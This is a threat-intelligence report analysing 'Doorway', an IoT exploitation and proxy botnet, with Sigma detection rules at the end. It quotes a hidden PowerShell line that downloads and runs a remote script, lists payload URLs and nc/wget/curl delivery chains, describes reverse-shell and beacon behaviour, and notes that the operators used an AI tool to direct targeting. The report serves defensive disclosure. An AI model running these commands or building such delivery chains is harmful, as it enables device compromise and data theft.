🚀 Introducing Cloudsek Launchpad: a incubator for early-stage cybersecurity founders, apply today!
Read more

A recent CloudSEK investigation uncovered a mature IoT exploitation and proxy-building operation, identified as “Doorway”, through two exposed identical open directory workspaces identified in October 2026. The identical workspaces contained approximately 41 GB of operational data, including the source code of doorway, a modular Rust-based scanning and delivery engine comprising approximately 21,870 lines of first-party code and 59 exploit modules targeting cameras, routers, optical network units (ONUs), and Java-based services. The recovered material included a credential database, victim logs, beacon captures, and operational playbooks, revealing a coordinated workflow built around automated reconnaissance, exploitation, payload delivery, and persistent device recruitment. Shared infrastructure and identical key artifacts establish that the mirrors supported a single operation with redundant staging capabilities.
The evidence demonstrates substantial exploitation activity and a systematic approach to expanding and maintaining a compromised device fleet. Analysis identified 4,671 module-level join records covering 4,217 distinct IP addresses, 7,369 successful MikroTik/RouterOS authentications across 4,923 device identities, 1,060 PPPoE subscriber records associated with a single ISP, 20 Jenkins remote code execution confirmations, 16 Openfire plugin uploads, and 18 DARKLANTERN router compromises, including eight independently confirmed through beacon evidence. The operator's internal ledger further reports 11,363 joins and 58,920 fetches within a 60-minute window. Collectively, the source code, operational records, and execution evidence indicate a structured, metrics-driven campaign with capabilities spanning credential harvesting, remote exploitation, and proxy infrastructure development. Acquisition errors mean the observed figures represent minimum confirmed counts; no recovered files were executed, built, or modified during analysis.

The operation's measured outcomes in the mirror are substantial:

The image below showcases the geographic distribution of victims. In the workspace we identified a total of 1772 IP addresses of victim devices mapped with the associated geolocation.



The image below showcases the type of devices and infrastructure doorway botnet is capable to target:

The image below showcases the attack flow followed by doorway botnet:


Build and Deployment: The doorway engine is a Rust Cargo package (doorway 0.1.0, edition 2021) that uses tokio, libc, and a native TLS stack. The source supports three documented build configurations, separating production exploitation from execution validation and capability testing.
The image below showcases how the doorway was designed to operate in different modes, allowing the crew to deploy real payloads or test specific parts of its exploitation and delivery workflow without using the full payload set.

The operational playbook directs operators to compile the engine on a workstation rather than on staging servers, run deployments within tmux sessions, increase the open-file descriptor limit using ulimit -n 999999, and use a dedicated termination script instead of issuing inline SSH kill commands. These procedures indicate deliberate separation of build and execution environments, support for high-concurrency scanning, and structured process management. The distinct validation builds also demonstrate that the operators can test execution and delivery-tool availability independently of the full payload deployment workflow.
The banner is ASCII-folded and matched against per-module fingerprints without per-target allocation. Modules can declare AND fingerprints - additional strings that must all be present - specifically to reject lookalike devices that share a bare Server: header. The honeypot gate is deliberately conservative: more than 12 distinct fingerprints, or more than 10 Server: headers, and the target is dropped (runner.rs:17-18). The code comment explains the high threshold: legitimate Boa-family banners match many fingerprints, so the distinct-fingerprint signal is a backstop rather than the primary tell.
The image below showcases how the doorway does not simply run every exploitation module against every supplied IP address. It uses a controlled initial request, module-specific response matching, and heuristic filtering to narrow the target pool before proceeding.

Execution Stages and Read-Only-First Design: The doorway engine uses a staged execution model in which a module must match the target before the engine invokes probe(), a read-only identification step designed to avoid state changes. If the probe fails, the engine skips run() and does not proceed to exploitation. For matching targets, the documented workflow follows five stages:

This staged design is reflected in the operational logs, which distinguish found, credential leak, login, validated, and cleaned events rather than treating every responsive device as a confirmed compromise. Read-only probing also reduces unnecessary interaction with non-matching targets, while staged execution helps operators distinguish discovery from successful authentication and exploitation. However, the presence of a cleanup stage does not establish that every modification is reliably reversed.
Credential Learning and Storage: The threat actor has implemented a persistent credential-learning mechanism without a conventional database. It stores dictionary entries in line-indexed text files and represents authentication outcomes through compact integer keys.
The image below showcases the credential sets present in the files named ‘credstore.rs’ and ‘learned-creds.creds’.

The image below showcases credential inputs, outcome tracking, compact storage, and the ranking feedback loop.

Tiered Payload Delivery:
The doorway engine uses a multi-stage delivery architecture rather than relying exclusively on direct deployment of a final binary. A sink-specific command or dropper first introduces a lightweight token loader. The loader identifies the target architecture and retrieves the corresponding binary, which either functions as the final client or downloads the next-stage payload. The recovered mirrors preserve artifacts from each delivery tier, providing evidence of the transition from initial command execution to architecture-specific payload deployment and client installation. This separation allows the operation to accommodate differences in target utilities, processor architectures, and delivery constraints across the supported device families.
The image below showcases the details on the multi-stage payload delivery system used by doorway rather than sending a complete malware binary directly through the initial exploit.

The loader names are short, four to seven characters; so they fit CGI fields and character-limited injection points. The three concrete stage-2 forms, the Openfire JAR, the wtg83 shell/PowerShell/XML chain, and the RouterOS ‘stage2.so’ are detailed in the next subsection.
The image below showcases Doorway’s staged delivery process, showing how initial access can lead to final-client execution and group assignment, while separating the general loader chain from the distinct RouterOS reverse-shell path.

Transports are equally redundant:
The image below showcases how the doorway engine used multiple payload-delivery methods to improve the chances of reaching a target despite differences in device capabilities, command restrictions, and network filtering. Rather than relying on one download mechanism, the engine attempted several transport options for each injection sink

Every injection sink fires every chain in order. The rationale is explicit in the engine and the playbook: character limits, filtered binaries, and egress controls kill individual chains silently, so a single "best" chain is not reliable. The chain set includes:
nc variants (with and without -e), wget, curl, TFTP, FTP, and raw TCP.
Stage-2 Payload Architecture: The corpus uses the term stage 2 to describe two distinct but related components: a lightweight loader deployed after initial access that retrieves an architecture-matched client, and a RouterOS-specific shared object that establishes a reverse shell. Both components are preserved in the recovered artifacts, allowing their respective roles to be established from source code and binary analysis rather than inferred from filenames alone. This evidence distinguishes the client-deployment stage from the RouterOS payload responsible for interactive access.
‘ofvalid.jar’: the Openfire stage-2 plugin:
The image below showcases how ofvalid.jar marks plugin execution, attempts Linux and Windows ICMP beacons, and initiates Java-based payload retrieval and execution.

On loading, initializePlugin() creates a .loaded marker and attempts ICMP beaconing to 45.205.1[.]9 using Linux and Windows command syntax, providing an execution signal before payload delivery. It downloads an architecture-specific client from http://45.90.13[.]169:8080/2mqz7.<token>, initially saving it to /var/tmp/.d on Linux or %TEMP%\d.exe on Windows, with a fallback to the plugin directory. Linux applies restrictive executable permissions and launches the client in the background; Windows executes the downloaded PE. No group argument is supplied, indicating the client's default group-assignment path. The 2mqz7.<arch> naming convention also appears in doorway-rs/src/modules/server/openfire.rs:15, linking the plugin to the engine's Openfire module.
The builder retains 46.246.97[.]179 as its default payload base, while the preserved plugin source and active Openfire module reference 45.90.13[.]169:8080, suggesting the builder was reused after an infrastructure change without updating every default. Related Java delivery mechanisms include the Tomcat ang23.war/d.jsp chain, which retrieves architecture-specific ang23.<arch> clients, and ActiveMQ's wq3a7*.xml files, which use Spring ProcessBuilder execution chains.
wtg83: the generic shell and PowerShell loader:
The image below shows how wtg83 and its platform-specific templates select, download and launch the appropriate client, using either explicit activemq group selection or default assignment.

stage2.so:
The image below showcases how the RouterOS stage2.so library signals execution through ICMP before attempting a TCP callback that connects an interactive shell to the operator.

RouterOS Exploitation and Alternative Delivery Paths: The documented delivery chain centres on CVE-2023-30799, also known as FOISted. The script sw/exploit_mips3.py:2 identifies itself as a version-aware, big-endian MIPS implementation and includes a SUPER_ADMIN byte sequence and gadget mappings for RouterOS versions 6.45.9, 6.47.4, 6.47.7, 6.47.9, 6.48.4, and 6.48.6. Its workflow uses WebFig authentication with admin and an empty password, submits the super-admin data, and then establishes a second session to deliver the crafted exploitation chain. The default payload destination is /flash/rw/disk/stage2.so. A second script, exploit_mips.py, implements a related variant. The corpus also contains scripts that use RouterOS /tool fetch functionality to retrieve stage2.so from 45.90.13[.]169:
These scripts document exploitation, payload-delivery, and potential persistence mechanisms. However, the preserved field log, mini_out.log, records three attempts against RouterOS 6.48.6 at offsets 0x0, 0x100, and 0x200. The outcomes were timeout, timeout, and bad, respectively, and all recorded beacons=0. The tooling and implant are confirmed, but the available evidence does not establish successful execution or large-scale deployment through this branch.
Loader and Final-Client Distinction: The recovered files represent three distinct payload layers:
The srvclients/of bundle contains of-aarch64, of-armv7, of-i686, of-x86_64, of-win32.exe, and of-win64.exe, alongside the wtg83.* and activemq.* sets. The srvclients/jk and srvclients/ang bundles contain the corresponding Jenkins and Tomcat clients.
The recovered source code and binaries provide high confidence in the documented stage-2 loading and execution mechanisms, including the Openfire plugin's architecture-specific retrieval and the RouterOS shared object's reverse-shell functionality. However, the final clients' controller protocol, tasking behaviour, and group-management logic are not exposed by the available corpus. The success rate of the RouterOS exploitation branch and the operation's full command-and-control behaviour therefore remain unconfirmed.
The most unusual artefact in the corpus is not code. It is sessions/team-deploy/WATCHER-BRIEF.md, a document that runs the botnet like a site reliability team. Its opening line is explicit:
"This is the CONTEXT the watcher carries. It is not a dumb cron."

Caption: Operational approach described in WATCHER-BRIEF.md
Five sessions have standing objectives:

The operational playbook defines a recurring monitoring cycle across four dimensions:

Replanning and escalation: The watcher issues family- and stage-specific directives rather than generic reminders. When overall production declines, effort shifts toward converters such as ActiveMQ and newly identified target populations. Exhausted families are replaced with scout-proposed alternatives. The watcher fires only against next_targets and avoids repeatedly activating failed families. Escalations are recorded in an alerts table, posted to team chat, and appended to /var/log/x86win-watch.log. After three consecutive cycles without production, the system issues a single high-priority directive to the keeper.

The sessions are tied to LLM tooling (the AI tool used by the attacker remains unknown). It also documents a closed-loop operating model that measures scanning and exploitation outcomes, identifies underperforming target families, reallocates effort, and repeats. This demonstrates an organized, feedback-driven operation rather than a collection of independent scanning scripts.
When a signing secret is configured, src/core/hmac.rs appends an ?s= parameter containing a 16-character hexadecimal signature to the payload URL.

The fileserver supports multiple secrets during key rotation and restricts token delivery to the IP address for which the payload was generated. Consequently, a leaked URL cannot be reused successfully from a different IP address without a valid signature for that address. The signing secret was not present in the recovered mirrors. The source identifies its expected locations through $HMAC_SECRET_FILE, ./hmac-secret, and /root/hmac-secret, but the file itself was absent.
This mechanism increases the difficulty of sharing or replaying payload URLs and ties delivery to the specific target reached by the engine. However, it does not prevent defenders from blocking the fileserver, and recovery of the signing secret from a live host could undermine the protection.
The payload engine sequentially attempts all available delivery chains to accommodate varying device capabilities and injection behaviour, improving delivery success through redundancy. IP-bound signatures restrict payload retrieval to the intended target, while expected beacons distinguish confirmed execution from successful downloads. This approach improves resilience without requiring new vulnerabilities but increases network noise and detection risk.
The image below showcases multiple payload delivery approaches used by doorway.

The engine's 59 run modules span four broad technique classes: pre-authentication command injection, path traversal and arbitrary file writes, configuration injection, and authentication using default or previously exposed credentials. Together, these modules support exploitation across diverse device types and service configurations.
The image attached below maps Doorway’s exploitation techniques across routers, fibre devices, cameras and Java servers, with default and leaked credential replay shown as a shared access capability.

The ‘*-join.log’ files are module activity logs, not execution proof. The validation standard remains delivery downloads and beacons, as the operator playbook.
The image below showcases how doorway used different exploitation modules to compromise exposed services and network devices.

The image showcases how Doorway delivers software to a targeted device.

Component A: `wtg83` ActiveMQ Dropper Kit:
Infection flow:

Linux stage 0 - wtg83.xml:
Windows stage 0
Windows stage 0 - wtg83w.xml:
<value>cmd.exe</value>
<value>/c</value>
<value>powershell -nop -w hidden -c "iex(iwr http://151.243.11.210/wtg83.ps1 -UseBasicParsing).Content"</value>
Linux stage 1: architecture-aware fetcher - wtg83:
Behaviour:

Payload URLs this script requests:
http[:]//151.243[.]11.210/wtg83.x86
http[:]//151.243[.]11.210/wtg83.a64
http[:]//151.243[.]11.210/wtg83.arm7
http[:]//151.243[.]11.210/wtg83.arm5
http[:]//151.243[.]11.210/wtg83.mpsl
http[:]//151.243[.]11.210/wtg83.mips
Note: `mips64` (big-endian) matches `mips*` and therefore receives the 32-bit `mips` build. `mips64el` receives `mpsl`.
Windows stage 1:
The image below showcases how the Windows PowerShell loader chooses, downloads, and launches a client executable.

The operator runs a multi-architecture (6 Linux + 2 Windows) payload delivery setup from a single HTTP server and tags each execution with the argument `activemq`.
An architecture-suffixed binary set, a busybox fallback, a hidden dotfile in `/tmp` and an argument naming the exploit vector are all common in Mirai-derived and other commodity botnet loaders. The bot typically reports the argument to its C2 so the operator can attribute infections to exploit modules. The final `wtg83.*` binaries are not in this archive, so the family, capabilities and C2 are unconfirmed. `wtg83` looks like a campaign or build tag (`w83` is reused in the drop name `.w83`).
Component B: `stage2.so` MIPS Reverse Shell:
Behaviour summary:
The image below showcases how stage2.so attempts to establish a reverse shell.

Notable characteristics:

The recovered corpus indicates a coordinated, multi-stage IoT and network-device compromise operation built around the Rust-based doorway engine, 59 exploitation modules, and layered payload delivery. Techniques include credential reuse, pre-authentication command injection, path traversal, configuration manipulation, and protocol-specific exploitation across routers, ISP-managed CPE, and exposed Java services. Evidence includes 7,369 successful MikroTik SOCKS configurations across 4,923 device identities, 16 Openfire plugin uploads across 20 non-lab targets, 20 Jenkins RCE-confirmed hosts, and 29 unique DARKLANTERN join IPs. IP-bound payload signatures, redundant delivery chains, beacon-based execution validation, and automated performance monitoring support repeatable operations at scale.
The operation's primary strength is operational integration rather than novel exploitation, combining known vulnerabilities and conventional technologies with architecture-aware loaders, custom stage-two components, credential learning, and feedback-driven targeting. MikroTik SOCKS configurations and enumeration of 1,060 PPPoE subscriber sessions provide strong evidence of proxy-fleet creation and access to ISP operational data, although commercial monetization remains unconfirmed. The RouterOS stage2.so chain is technically substantiated, but large-scale deployment is unverified; the final clients' complete command-and-control protocol and tasking behaviour also remain undetermined. Overall, the evidence supports a sustained, organized operation with demonstrated compromise, while some delivery paths, downstream objectives, and revenue models remain unconfirmed.


The image below shows where defenders can observe Doorway-related activity along the path from the internet, through the ISP or perimeter, to a customer device.

title: Embedded Device Contacts Doorway Delivery or Beacon Infrastructure
id: 8b2f4c1e-7a91-4d3e-9f52-1c6d0a7b4e21
status: experimental
description: >
Detects egress from IoT, CPE, or server networks to the payload fileserver,
NFS export, probe host, or ICMP beacon receiver associated with the IOT
Arsenal doorway campaign. The beacon is the operator's execution proof and
has no legitimate business use.
logsource:
category: network_connection
detection:
selection_dst:
DestinationIp:
- '45.90.13.169'
- '45.90.13.11'
- '45.205.1.9'
- '176.98.182.21'
- '184.174.96.216'
condition: selection_dst
falsepositives:
- Unlikely; these addresses are campaign-specific
level: critical
tags:
- attack.command_and_control
- attack.t1105
title: IoT Scanner Banner Request With Hello World User-Agent
id: 3c7d9a54-2e18-4b6f-a0d1-5f8e2c9b7a43
status: experimental
description: >
Detects the doorway banner probe: GET / with User-Agent "Hello World" and
Connection close. The string is hard-coded in the engine's transport layer
and reused for every target and every family.
logsource:
category: webserver
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/'
cs-useragent: 'Hello World'
condition: selection
falsepositives:
- Custom health checks using the same placeholder string (rare)
level: high
tags:
- attack.reconnaissance
- attack.t1595
title: Openfire CVE-2023-32315 Traversal and Plugin Upload
id: 6a1e0f93-4b27-4c85-8d19-2e7f3a5c8b60
status: experimental
description: >
Detects the raw %u002e traversal path used to reach the Openfire plugin
admin endpoint before uploading the ofvalid JAR.
logsource:
category: webserver
detection:
selection_traversal:
cs-uri-stem|contains:
- '/setup/setup-s/'
- '%u002e'
selection_plugin:
cs-uri-stem|contains: 'plugin-admin.jsp'
condition: selection_traversal and selection_plugin
falsepositives:
- Vulnerability scanners replaying the public proof of concept
level: critical
tags:
- attack.initial_access
- attack.t1190
title: ActiveMQ Java Spawning Shell (CVE-2023-46604 style)
logsource:
category: process_creation
detection:
parent:
ParentImage|endswith: ['/java', '\java.exe']
ParentCommandLine|contains: 'activemq'
child:
Image|endswith: ['/sh', '/bash', '/busybox', '\cmd.exe', '\powershell.exe']
condition: parent and child
level: high